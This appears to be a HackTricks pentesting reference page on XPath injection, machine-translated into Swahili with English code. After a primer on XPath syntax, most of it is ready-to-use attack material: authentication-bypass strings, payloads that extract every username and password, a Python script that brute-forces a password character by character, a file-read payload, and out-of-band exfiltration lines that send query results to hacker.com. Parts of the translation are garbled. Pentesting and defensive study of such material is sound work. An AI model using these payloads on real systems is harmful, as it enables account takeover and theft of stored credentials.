XPATH injection

Reading time: 8 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Basic Syntax

Mbinu ya shambulio inayojulikana kama XPath Injection inatumika kuchukua faida ya programu ambazo zinaunda XPath (XML Path Language) maswali kulingana na pembejeo za mtumiaji ili kuuliza au kuvinjari hati za XML.

Nodes Described

Maelekezo yanatumika kuchagua nodi mbalimbali katika hati ya XML. Maelekezo haya na maelezo yao yanahusishwa hapa chini:

  • nodename: Nodi zote zenye jina "nodename" zinachaguliwa.
  • /: Uchaguzi unafanywa kutoka kwa nodi ya mzizi.
  • //: Nodi zinazolingana na uchaguzi kutoka kwa nodi ya sasa zinachaguliwa, bila kujali mahali zilipo katika hati.
  • .: Nodi ya sasa inachaguliwa.
  • ..: Nodi ya mzazi wa nodi ya sasa inachaguliwa.
  • @: Sifa zinachaguliwa.

XPath Examples

Mifano ya maelekezo ya njia na matokeo yake ni pamoja na:

  • bookstore: Nodi zote zenye jina "bookstore" zinachaguliwa.
  • /bookstore: Kigezo cha mzizi bookstore kinachaguliwa. Inabainishwa kuwa njia kamili ya kipengele inawakilishwa na njia inayaanza na slash (/).
  • bookstore/book: Vipengele vyote vya kitabu ambavyo ni watoto wa bookstore vinachaguliwa.
  • //book: Vipengele vyote vya kitabu katika hati vinachaguliwa, bila kujali mahali pake.
  • bookstore//book: Vipengele vyote vya kitabu ambavyo ni wazazi wa kipengele cha bookstore vinachaguliwa, bila kujali nafasi yao chini ya kipengele cha bookstore.
  • //@lang: Sifa zote zenye jina lang zinachaguliwa.

Utilization of Predicates

Predicates zinatumika kuboresha uchaguzi:

  • /bookstore/book[1]: Kipengele cha kwanza cha kitabu mtoto wa kipengele cha bookstore kinachaguliwa. Njia mbadala kwa toleo za IE 5 hadi 9, ambazo zinaweka nodi ya kwanza kama [0], ni kuweka SelectionLanguage kuwa XPath kupitia JavaScript.
  • /bookstore/book[last()]: Kipengele cha mwisho cha kitabu mtoto wa kipengele cha bookstore kinachaguliwa.
  • /bookstore/book[last()-1]: Kipengele cha pili cha mwisho cha kitabu mtoto wa kipengele cha bookstore kinachaguliwa.
  • /bookstore/book[position()<3]: Vipengele viwili vya kwanza vya watoto wa kitabu wa kipengele cha bookstore vinachaguliwa.
  • //title[@lang]: Vipengele vyote vya kichwa vyenye sifa ya lang vinachaguliwa.
  • //title[@lang='en']: Vipengele vyote vya kichwa vyenye thamani ya sifa "lang" ya "en" vinachaguliwa.
  • /bookstore/book[price>35.00]: Vipengele vyote vya kitabu vya bookstore vyenye bei zaidi ya 35.00 vinachaguliwa.
  • /bookstore/book[price>35.00]/title: Vipengele vyote vya kichwa vya vipengele vya kitabu vya bookstore vyenye bei zaidi ya 35.00 vinachaguliwa.

Handling of Unknown Nodes

Wildcards zinatumika kwa ajili ya kulinganisha nodi zisizojulikana:

  • *: Inalingana na nodi yoyote ya kipengele.
  • @*: Inalingana na nodi yoyote ya sifa.
  • node(): Inalingana na nodi yoyote ya aina yoyote.

Mifano zaidi ni pamoja na:

  • /bookstore/*: Inachagua nodi zote za watoto za kipengele cha bookstore.
  • //*: Inachagua vipengele vyote katika hati.
  • //title[@*]: Inachagua vipengele vyote vya kichwa vyenye angalau sifa moja ya aina yoyote.

Example

xml
<?xml version="1.0" encoding="ISO-8859-1"?>
<data>
<user>
<name>pepe</name>
<password>peponcio</password>
<account>admin</account>
</user>
<user>
<name>mark</name>
<password>m12345</password>
<account>regular</account>
</user>
<user>
<name>fino</name>
<password>fino2</password>
<account>regular</account>
</user>
</data>

Fikia taarifa hizo

All names - [pepe, mark, fino]
name
//name
//name/node()
//name/child::node()
user/name
user//name
/user/name
//user/name

All values - [pepe, peponcio, admin, mark, ...]
//user/node()
//user/child::node()


Positions
//user[position()=1]/name #pepe
//user[last()-1]/name #mark
//user[position()=1]/child::node()[position()=2] #peponcio (password)

Functions
count(//user/node()) #3*3 = 9 (count all values)
string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4
substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"

Tambua & kuiba muundo

python
and count(/*) = 1 #root
and count(/*[1]/*) = 2 #count(root) = 2 (a,c)
and count(/*[1]/*[1]/*) = 1 #count(a) = 1 (b)
and count(/*[1]/*[1]/*[1]/*) = 0 #count(b) = 0
and count(/*[1]/*[2]/*) = 3 #count(c) = 3 (d,e,f)
and count(/*[1]/*[2]/*[1]/*) = 0 #count(d) = 0
and count(/*[1]/*[2]/*[2]/*) = 0 #count(e) = 0
and count(/*[1]/*[2]/*[3]/*) = 1 #count(f) = 1 (g)
and count(/*[1]/*[2]/*[3]/[1]*) = 0 #count(g) = 0

#The previous solutions are the representation of a schema like the following
#(at this stage we don't know the name of the tags, but jus the schema)
<root>
<a>
<b></b>
</a>
<c>
<d></d>
<e></e>
<f>
<h></h>
</f>
</c>
</root>

and name(/*[1]) = "root" #Confirm the name of the first tag is "root"
and substring(name(/*[1]/*[1]),1,1) = "a" #First char of name of tag `<a>` is "a"
and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of tag `<b>`is codepoint 105 ("i") (https://codepoints.net/)

#Stealing the schema via OOB
doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))

Authentication Bypass

Mfano wa maswali:

string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';

Kupita OR katika mtumiaji na nenosiri (thamani sawa katika zote mbili)

' or '1'='1
" or "1"="1
' or ''='
" or ""="
string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text())

Select account
Select the account using the username and use one of the previous values in the password field

Kutitumia null injection

Username: ' or 1]%00

Double OR katika Jina la mtumiaji au katika nenosiri (ni halali na uwanja mmoja tu dhaifu)

MUHIMU: Tambua kwamba "na" ndiyo operesheni ya kwanza inayofanywa.

Bypass with first match
(This requests are also valid without spaces)
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
string(//user[name/text()='' or true() or '' and password/text()='']/account/text())

Select account
'or string-length(name(.))<10 or' #Select account with length(name)<10
'or contains(name,'adm') or' #Select first account having "adm" in the name
'or contains(.,'adm') or' #Select first account having "adm" in the current value
'or position()=2 or' #Select 2ΒΊ account
string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text())

Select account (name known)
admin' or '
admin' or '1'='2
string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())

Uondoaji wa Mifumo

Matokeo yana vitu na mtumiaji anaweza kubadilisha thamani kutafuta:

/user/username[contains(., '+VALUE+')]
') or 1=1 or (' #Get all names
') or 1=1] | //user/password[('')=(' #Get all names and passwords
') or 2=1] | //user/node()[('')=(' #Get all values
')] | //./node()[('')=(' #Get all values
')] | //node()[('')=(' #Get all values
') or 1=1] | //user/password[('')=(' #Get all names and passwords
')] | //password%00 #All names and passwords (abusing null injection)
')]/../*[3][text()!=(' #All the passwords
')] | //user/*[1] | a[(' #The ID of all users
')] | //user/*[2] | a[(' #The name of all users
')] | //user/*[3] | a[(' #The password of all users
')] | //user/*[4] | a[(' #The account of all users

Blind Explotation

Pata urefu wa thamani na uondoe kwa kulinganisha:

bash
' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4
' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a"

substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)

... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value

Mfano wa Python

python
import requests, string

flag = ""
l = 0
alphabet = string.ascii_letters + string.digits + "{}_()"
for i in range(30):
r = requests.get("http://example.com?action=user&userid=2 and string-length(password)=" + str(i))
if ("TRUE_COND" in r.text):
l = i
break
print("[+] Password length: " + str(l))
for i in range(1, l + 1): #print("[i] Looking for char number " + str(i))
for al in alphabet:
r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al)
if ("TRUE_COND" in r.text):
flag += al
print("[+] Flag: " + flag)
break

Soma faili

python
(substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127

OOB Ukatili

python
doc(concat("http://hacker.com/oob/", RESULTS))
doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))
doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username)))

#Instead of doc() you can use the function doc-available
doc-available(concat("http://hacker.com/oob/", RESULTS))
#the doc available will respond true or false depending if the doc exists,
#user not(doc-available(...)) to invert the result if you need to

Chombo cha kiotomatiki

Marejeleo

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks